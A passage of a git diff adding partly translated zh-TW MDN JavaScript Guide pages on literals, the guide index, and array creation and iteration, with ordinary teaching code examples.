+ <li>十進制整數字面值由「『不帶前導 0』的整數序列」組成</li>
+ <li>八進制整數字面值由「『前導 0』」或『前導 0o』或『前導 0O』的整數序列」組成。八進制整數只能包含數字0-7</li>
+ <li>十六進制整數字面值由「『前導 0x』」或『前導 0X』的整數序列」組成。十六進制整數只能包含數字 0-9 、字母 A-F 和 a-f</li>
+ <li>二進制整數字面值由「『前導 0b』」或『前導 0B』的整數序列」組成。二進制整數只能包含數字 0 跟 1</li>
+</ul>
+
+<p>整數字面值範例如下：</p>
+
+<pre class="eval">0, 117 and -345 (decimal, base 10)
+015, 0001 and -0o77 (octal, base 8)
+0x1123, 0x00111 and -0xF1A7 (hexadecimal, "hex" or base 16)
+0b11, 0b0011 and -0b11 (binary, base 2)
+</pre>
+
+<p>更多資訊請參閱 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Numeric literals in the Lexical grammar reference</a>.</p>
+
+<h3 id="浮點數字面值_Floating-point_literals">浮點數字面值 (Floating-point literals)</h3>
+
+<p>浮點數字面值能包含以下部分：</p>
+
+<ul>
+ <li>整數部分 (十進位，可帶符號 "+" 或 "-" 於整數前)</li>
+ <li>小數點 "."</li>
+ <li>小數部分 (另一個十進位整數)</li>
+ <li>指數部分</li>
+</ul>
+
+<p>指數部分由「"e" 或 "E" 後面跟整數」所組成，可帶符號 "+" 或 "-" 於整數前。浮點數字面值至少由「一位數字」與「一個小數點 "e" (或 "E")」組成。</p>
+
+<p>簡言之，於法如下：</p>
+
+<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
+</pre>
+
+<p>舉個例子：</p>
+
+<pre class="eval">3.1415926
+-.123456789
+-3.1E+12
+.1e-23
+</pre>
+
+<h3 id="物件字面值_Object_literals">物件字面值 (Object literals)</h3>
+
+<p>物件字面值是用大括號（{}）括起來的零或多對鍵值對的列表。因為 "{" 將被解譯為區塊(block)的開頭，因此你不應在陳述句開頭使用物件字面值，這將導致錯誤或不預期的行為。</p>
+
+<p>以下是物件字面值的範例。<code>car</code> 物件包含三個屬性：</p>
+
+<ul>
+ <li>第一個屬性 <code>myCar</code> 賦值為字串 '<code>Saturn</code>'</li>
+ <li>第二個屬性 <code>getCar</code> 賦值為「調用函數<code>carTypes('Honda')</code>」的結果</li>
+ <li>第三個屬性 <code>special </code>使用現有變量 <code>sales</code> 賦值</li>
+</ul>
+
+<pre class="brush: js">var sales = 'Toyota';
+
+function carTypes(name) {
+  if (name === 'Honda') {
+    return name;
+  } else {
+    return "Sorry, we don't sell " + name + ".";
+  }
+}
+
+var car = { myCar: 'Saturn', getCar: carTypes('Honda'), special: sales };
+
+console.log(car.myCar);   // Saturn
+console.log(car.getCar);  // Honda
+console.log(car.special); // Toyota
+</pre>
+
+<p>此外，您可以使用數字或字串字面值作為屬性名，也可將物件嵌套在另一個物件中。如下範例：</p>
+
+<pre class="brush: js">var car = { manyCars: {a: 'Saab', 'b': 'Jeep'}, 7: 'Mazda' };
+
+console.log(car.manyCars.b); // Jeep
+console.log(car[7]); // Mazda
+</pre>
+
+<p>物件屬性名可以是任何字串，包括空字串。如果屬性名不是有效的 JavaScript {{Glossary("Identifier","識別字")}} 或數字，則必須將其用引號引起來。無效的屬性名稱也不能作為點 (<code>.</code>) 屬性訪問，但是可以使用類似數組的符號（"<code>[]</code>"）進行訪問和設置。</p>
+
+<pre class="brush: js">var unusualPropertyNames = {
+  '': 'An empty string',
+  '!': 'Bang!'
+}
+console.log(unusualPropertyNames.'');   // SyntaxError: Unexpected string
+console.log(unusualPropertyNames['']);  // An empty string
+console.log(unusualPropertyNames.!);    // SyntaxError: Unexpected token !
+console.log(unusualPropertyNames['!']); // Bang!</pre>
+
+<h4 id="Enhanced_Object_literals">Enhanced Object literals</h4>
+
+<p>In ES2015, object literals are extended to support setting the prototype at construction, shorthand for <code>foo: foo</code> assignments, defining methods, making super calls, and computing property names with expressions. Together, these also bring object literals and class declarations closer together, and let object-based design benefit from some of the same conveniences.</p>
+
+<pre class="brush: js">var obj = {
+    // __proto__
+    __proto__: theProtoObj,
+    // Shorthand for ‘handler: handler’
+    handler,
+    // Methods
+    toString() {
+     // Super calls
+     return 'd ' + super.toString();
+    },
+    // Computed (dynamic) property names
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>Please note:</p>
+
+<pre class="brush: js">var foo = {a: 'alpha', 2: 'two'};
+console.log(foo.a);    // alpha
+console.log(foo[2]);   // two
+//console.log(foo.2);  // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo['a']); // alpha
+console.log(foo['2']); // two
+</pre>
+
+<h3 id="正規表達式字面值_RegExp_literals">正規表達式字面值 (RegExp literals)</h3>
+
+<p>正則表達式字面值是包含在斜杠間的樣式。以下是正則表達式文字的範例。</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="字串字面值_String_literals">字串字面值 (String literals)</h3>
+
+<p>字串字面值是用雙引號（“）或單引號（'）包住的零或多個字元。字串必須用同類的引號定界；也就是「兩個單引號」或「兩個雙引號」。以下是字串字面值的範例：</p>
+
+<pre class="brush: js">'foo'
+"bar"
+'1234'
+'one line \n another line'
+"John's cat"
+</pre>
+
+<p>你可以在字串字面值上調用 String 物件的任何方法 - JavaScript 將自動轉換字串字面值為臨時 String 物件並調用該方法，然後丟棄該臨時 String 物件。您還可以將 String.length 屬性與字串字面值一起使用：</p>
+
+<pre class="brush: js">console.log("John's cat".length)
+// Will print the number of symbols in the string including whitespace.
+// In this case, 10.
+</pre>
+
+<p>In ES2015, template literals are also available. Template literals are enclosed by the back-tick (` `)  (<a class="external external-icon" href="http://en.wikipedia.org/wiki/Grave_accent" rel="noopener">grave accent</a>) character instead of double or single quotes. Template strings provide syntactic sugar for constructing strings. This is similar to string interpolation features in Perl, Python and more. Optionally, a tag can be added to allow the string construction to be customized, avoiding injection attacks or constructing higher level data structures from string contents.</p>
+
+<pre class="brush: js">// Basic literal string creation
+`In JavaScript '\n' is a line-feed.`
+
+// Multiline strings
+`In JavaScript template strings can run
+ over multiple lines, but double and single
+ quoted strings cannot.`
+
+// String interpolation
+var name = 'Bob', time = 'today';
+`Hello ${name}, how are you ${time}?`
+
+// Construct an HTTP request prefix is used to interpret the replacements and construction
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "foo": ${foo},
+       "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
+
+<p>You should use string literals unless you specifically need to use a String object. See {{jsxref("String")}} for details on <code>String</code> objects.</p>
+
+<h4 id="字串裡的特殊字元">字串裡的特殊字元</h4>
+
+<p>除了普通字元，字串也能包含特殊字元，範例如下：</p>
+
+<pre class="brush: js">'one line \n another line'
+</pre>
+
+<p>下表列出了可以在 JavaScript 字串中使用的特殊字元。</p>
+
+<table class="standard-table">
+ <caption>表格: JavaScript 特殊字元</caption>
+ <thead>
+  <tr>
+   <th scope="col">字元</th>
+   <th scope="col">意涵</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Null Byte</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>退格 (Backspace)</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Form feed</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>換行 (New line)</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>回車 (Carriage return)</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>跳格 (Tab)</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Vertical tab</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Apostrophe or single quote</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Double quote</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Backslash character</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>The character with the Latin-1 encoding specified by up to three octal digits <em>XXX</em> between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>The character with the Latin-1 encoding specified by the two hexadecimal digits <em>XX</em> between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>The Unicode character specified by the four hexadecimal digits <em>XXXX</em>. For example, \u00A9 is the Unicode sequence for the copyright symbol. See <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>.</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{XXXXX}</em></code></td>
+   <td>Unicode code point escapes. For example, \u{2F804} is the same as the simple Unicode escapes \uD87E\uDC04.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Escaping_characters">Escaping characters</h4>
+
+<p>For characters not listed in the table, a preceding backslash is ignored, but this usage is deprecated and should be avoided.</p>
+
+<p>You can insert a quotation mark inside a string by preceding it with a backslash. This is known as <em>escaping</em> the quotation mark. For example:</p>
+
+<pre class="brush: js">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
+console.log(quote);
+</pre>
+
+<p>The result of this would be:</p>
+
+<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+
+<p>To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path <code>c:\temp</code> to a string, use the following:</p>
+
+<pre class="brush: js">var home = 'c:\\temp';
+</pre>
+
+<p>You can also escape line breaks by preceding them with backslash. The backslash and line break are both removed from the value of the string.</p>
+
+<pre class="brush: js">var str = 'this string \
+is broken \
+across multiple \
+lines.'
+console.log(str);   // this string is broken across multiplelines.
+</pre>
+
+<p>Although JavaScript does not have "heredoc" syntax, you can get close by adding a line break escape and an escaped line break at the end of each line:</p>
+
+<pre class="brush: js">var poem =
+'Roses are red,\n\
+Violets are blue.\n\
+Sugar is sweet,\n\
+and so is foo.'
+</pre>
+
+<p>ECMAScript 2015 introduces a new type of literal, namely <a href="/en-US/docs/Web/JavaScript/Reference/template_strings"><strong>template literals</strong></a>. This allows for many new features including multiline strings!</p>
+
+<pre class="brush: js" dir="rtl">var poem =
+`Roses are red,
+Violets are blue.
+Sugar is sweet,
+and so is foo.` </pre>
+
+<h2 id="More_information">More information</h2>
+
+<p>This chapter focuses on basic syntax for declarations and types. To learn more about JavaScript's language constructs, see also the following chapters in this guide:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Control flow and error handling</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a></li>
+</ul>
+
+<p>In the next chapter, we will have a look at control flow constructs and error handling.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/index.html b/files/zh-tw/web/javascript/guide/index.html
new file mode 100644
index 0000000000..769f57c55e
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/index.html
@@ -0,0 +1,116 @@
+---
+title: JavaScript 指南
+slug: Web/JavaScript/Guide
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">JavaScript 指南會讓您了解如何使用 <a href="/zh-TW/docs/Web/JavaScript">JavaScript</a> 並給您這個語言的概觀。若您需要語言功能詳細資訊請參考 <a href="/zh-TW/docs/Web/JavaScript/Reference">JavaScript 參考文件</a>。</p>
+
+<h2 id="章節">章節</h2>
+
+<p>本指南區分成以下數個章節：</p>
+
+<ul class="card-grid">
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction">簡介</a></span>
+
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">關於本指南</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript">關於 JavaScript</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript 與 Java</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">工具</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types">語法與型別</a></span>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">基礎語法 &amp; 註解</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">宣告</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">變數範圍</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">變數提升（Hoisting）</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">資料結構與型態</a><br>
+   <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Guide/Grammar_and_types#%E5%AD%97%E9%9D%A2%E5%80%BC%EF%BC%88Literals%EF%BC%89">字面值</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">流程控制與錯誤處理</a></span>
+  <p><code><a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
+   <code><a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Error 物件</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Promises">Promises</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration">迴圈與迭代</a></span>
+  <p><code><a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Functions">函數</a></span>
+
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Defining_functions">定義函數</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Calling_functions">呼叫函數</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Function_scope">函數範圍</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Closures">閉包（Closure）</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">參數值</a> &amp; <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Function_parameters">參數</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Functions#Arrow_functions">箭頭函數</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators">運算式與運算子</a></span>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">賦值</a> &amp; <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">比較</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">算數運算子</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">位元</a> &amp; <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">邏輯運算子</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">條件（三元）運算子</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Numbers_and_dates">數字與日期</a></span><a href="/zh-TW/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers">數字書寫法</a>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> 物件</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> 物件</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> 物件</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Text_formatting">文字格式</a></span>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Text_formatting#String_literals">字串書寫法</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> 物件</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">模板書寫法</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">國際化</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions">正規表示法</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Indexed_collections">具索引的集合</a></span>
+
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">陣列</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">型態化陣列</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Keyed_collections">具鍵值的集合</a></span>
+  <p><code><a href="/zh-TW/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
+   <code><a href="/zh-TW/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+   <code><a href="/zh-TW/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
+   <code><a href="/zh-TW/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects">使用物件</a></span>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">物件與屬性</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">建立物件</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">定義方法</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">取值器與設值器</a></p>
+ </li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">深入了解物件模型</a></span>
+  <p><a href="/zh-TW/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">以原形（Prototype）為基礎的 OOP</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">建立物件層級</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">繼承</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Iterators_and_Generators">迭代器與產生器</a></span><a href="/zh-TW/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">迭代器（Iterator）</a><br>
+  <a href="/zh-TW/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">可迭代型態（Iterable）</a><br>
+  <a href="/zh-TW/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">產生器（Generator）</a></li>
+ <li><span><a href="/zh-TW/docs/Web/JavaScript/Guide/Meta_programming">Meta 程式設計</a></span>
+  <p><code><a href="/zh-TW/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy</a></code><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handler 與 Trap</a><br>
+   <a href="/zh-TW/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Revocable Proxy</a><br>
+   <code><a href="/zh-TW/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/zh-tw/web/javascript/guide/indexed_collections/index.html b/files/zh-tw/web/javascript/guide/indexed_collections/index.html
new file mode 100644
index 0000000000..b34c419252
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/indexed_collections/index.html
@@ -0,0 +1,450 @@
+---
+title: 索引集合
+slug: Web/JavaScript/Guide/Indexed_collections
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</div>
+
+<p class="summary">This chapter introduces collections of data which are ordered by an index value. This includes arrays and array-like constructs such as {{jsxref("Array")}} objects and {{jsxref("TypedArray")}} objects.</p>
+
+<h2 id="Array_object"><code>Array</code> object</h2>
+
+<p>An <em>array</em> is an ordered set of values that you refer to with a name and an index. For example, you could have an array called <code>emp</code> that contains employees' names indexed by their numerical employee number. So <code>emp[1]</code> would be employee number one, <code>emp[2]</code> employee number two, and so on.</p>
+
+<p>JavaScript does not have an explicit array data type. However, you can use the predefined <code>Array</code> object and its methods to work with arrays in your applications. The <code>Array</code> object has methods for manipulating arrays in various ways, such as joining, reversing, and sorting them. It has a property for determining the array length and other properties for use with regular expressions.</p>
+
+<h3 id="Creating_an_array">Creating an array</h3>
+
+<p>The following statements create equivalent arrays:</p>
+
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+
+<p><code>element0, element1, ..., elementN</code> is a list of values for the array's elements. When these values are specified, the array is initialized with them as the array's elements. The array's <code>length</code> property is set to the number of arguments.</p>
+
+<p>The bracket syntax is called an "array literal" or "array initializer." It's shorter than other forms of array creation, and so is generally preferred. See <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals">Array literals</a> for details.</p>
+
+<p>To create an array with non-zero length, but without any items, either of the following can be used:</p>
+
+<pre class="brush: js">var arr = new Array(arrayLength);
+var arr = Array(arrayLength);
+
+// This has exactly the same effect
+var arr = [];
+arr.length = arrayLength;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> in the above code, <code>arrayLength</code> must be a <code>Number</code>. Otherwise, an array with a single element (the provided value) will be created. Calling <code>arr.length</code> will return <code>arrayLength</code>, but the array actually contains empty (undefined) elements. Running a {{jsxref("Statements/for...in","for...in")}} loop on the array will return none of the array's elements.</p>
+</div>
+
+<p>In addition to a newly defined variable as shown above, arrays can also be assigned as a property of a new or an existing object:</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OR
+var obj = {prop: [element0, element1, ...., elementN]};
+</pre>
+
+<p>If you wish to initialize an array with a single element, and the element happens to be a <code>Number</code>, you must use the bracket syntax. When a single <code>Number</code> value is passed to the Array() constructor or function, it is interpreted as an <code>arrayLength</code>, not as a single element.</p>
+
+<pre class="brush: js">var arr = [42];      // Creates an array with only one element:
+                     // the number 42.
+
+var arr = Array(42); // Creates an array with no elements
+                     // and arr.length set to 42; this is
+                     // equivalent to:
+var arr = [];
+arr.length = 42;
+</pre>
+
+<p>Calling <code>Array(N)</code> results in a <code>RangeError</code>, if <code>N</code> is a non-whole number whose fractional portion is non-zero. The following example illustrates this behavior.</p>
+
+<pre class="brush: js">var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>If your code needs to create arrays with single elements of an arbitrary data type, it is safer to use array literals. Or, create an empty array first before adding the single element to it.</p>
+
+<h3 id="Populating_an_array">Populating an array</h3>
+
+<p>You can populate an array by assigning values to its elements. For example,</p>
+
+<pre class="brush: js">var emp = [];
+emp[0] = 'Casey Jones';
+emp[1] = 'Phil Lesh';
+emp[2] = 'August West';
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> if you supply a non-integer value to the array operator in the code above, a property will be created in the object representing the array, instead of an array element.</p>
+</div>
+
+<pre class="brush: js">var arr = [];
+arr[3.4] = 'Oranges';
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+
+<p>You can also populate an array when you create it:</p>
+
+<pre class="brush: js">var myArray = new Array('Hello', myVar, 3.14159);
+var myArray = ['Mango', 'Apple', 'Orange'];
+</pre>
+
+<h3 id="Referring_to_array_elements">Referring to array elements</h3>
+
+<p>You refer to an array's elements by using the element's ordinal number. For example, suppose you define the following array:</p>
+
+<pre class="brush: js">var myArray = ['Wind', 'Rain', 'Fire'];
+</pre>
+
+<p>You then refer to the first element of the array as <code>myArray[0]</code> and the second element of the array as <code>myArray[1]</code>. The index of the elements begins with zero.</p>
+
+<div class="note">
+<p><strong>Note :</strong> the array operator (square brackets) is also used for accessing the array's properties (arrays are also objects in JavaScript). For example,</p>
+</div>
+
+<pre class="brush: js">var arr = ['one', 'two', 'three'];
+arr[2];  // three
+arr['length'];  // 3
+</pre>
+
+<h3 id="Understanding_length">Understanding length</h3>
+
+<p>At the implementation level, JavaScript's arrays actually store their elements as standard object properties, using the array index as the property name. The <code>length</code> property is special; it always returns the index of the last element plus one (in the following example, Dusty is indexed at 30, so cats.length returns 30 + 1). Remember, JavaScript Array indexes are 0-based: they start at 0, not 1. This means that the <code>length</code> property will be one more than the highest index stored in the array:</p>
+
+<pre class="brush: js">var cats = [];
+cats[30] = ['Dusty'];
+console.log(cats.length); // 31
+</pre>
+
+<p>You can also assign to the <code>length</code> property. Writing a value that is shorter than the number of stored items truncates the array; writing 0 empties it entirely:</p>
+
+<pre class="brush: js">var cats = ['Dusty', 'Misty', 'Twiggy'];
+console.log(cats.length); // 3
+
+cats.length = 2;
+console.log(cats); // logs "Dusty, Misty" - Twiggy has been removed
+
+cats.length = 0;
+console.log(cats); // logs nothing; the cats array is empty
+
+cats.length = 3;
+console.log(cats); // [undefined, undefined, undefined]
+</pre>
+
+<h3 id="Iterating_over_arrays">Iterating over arrays</h3>
+
+<p>A common operation is to iterate over the values of an array, processing each one in some way. The simplest way to do this is as follows:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+  console.log(colors[i]);
+}
+</pre>
+
+<p>If you know that none of the elements in your array evaluate to <code>false</code> in a boolean context — if your array consists only of <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> nodes, for example, you can use a more efficient idiom:</p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Process div in some way */
+}
+</pre>
+
+<p>This avoids the overhead of checking the length of the array, and ensures that the <code>div</code> variable is reassigned to the current item each time around the loop for added convenience.</p>
+
+<p>The {{jsxref("Array.forEach", "forEach()")}} method provides another way of iterating over an array:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+  console.log(color);
+});
+// red
+// green
+// blue
+</pre>
+
+<p>Alternatively, You can shorten the code for the forEach parameter with ES6 Arrow Functions:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(color =&gt; console.log(color));
+// red
+// green
+// blue
+</pre>
+
+<p>The function passed to <code>forEach</code> is executed once for every item in the array, with the array item passed as the argument to the function. Unassigned values are not iterated in a <code>forEach</code> loop.</p>
+
+<p>Note that the elements of array that are omitted when the array is defined are not listed when iterating by <code>forEach</code>, but are listed when <code>undefined</code> has been manually assigned to the element:</p>
+
+<pre class="brush: js">var array = ['first', 'second', , 'fourth'];
+
+array.forEach(function(element) {
+  console.log(element);
+});
+// first
+// second
+// fourth
+
+if (array[2] === undefined) {
+  console.log('array[2] is undefined'); // true
+}
+
+array = ['first', 'second', undefined, 'fourth'];
+
+array.forEach(function(element) {
+  console.log(element);
+});
+// first
+// second
+// undefined
+// fourth
+</pre>
+
+<p>Since JavaScript elements are saved as standard object properties, it is not advisable to iterate through JavaScript arrays using {{jsxref("Statements/for...in","for...in")}} loops because normal elements and all enumerable properties will be listed.</p>
+
+<h3 id="Array_methods">Array methods</h3>
+
+<p>The {{jsxref("Array")}} object has the following methods:</p>
+
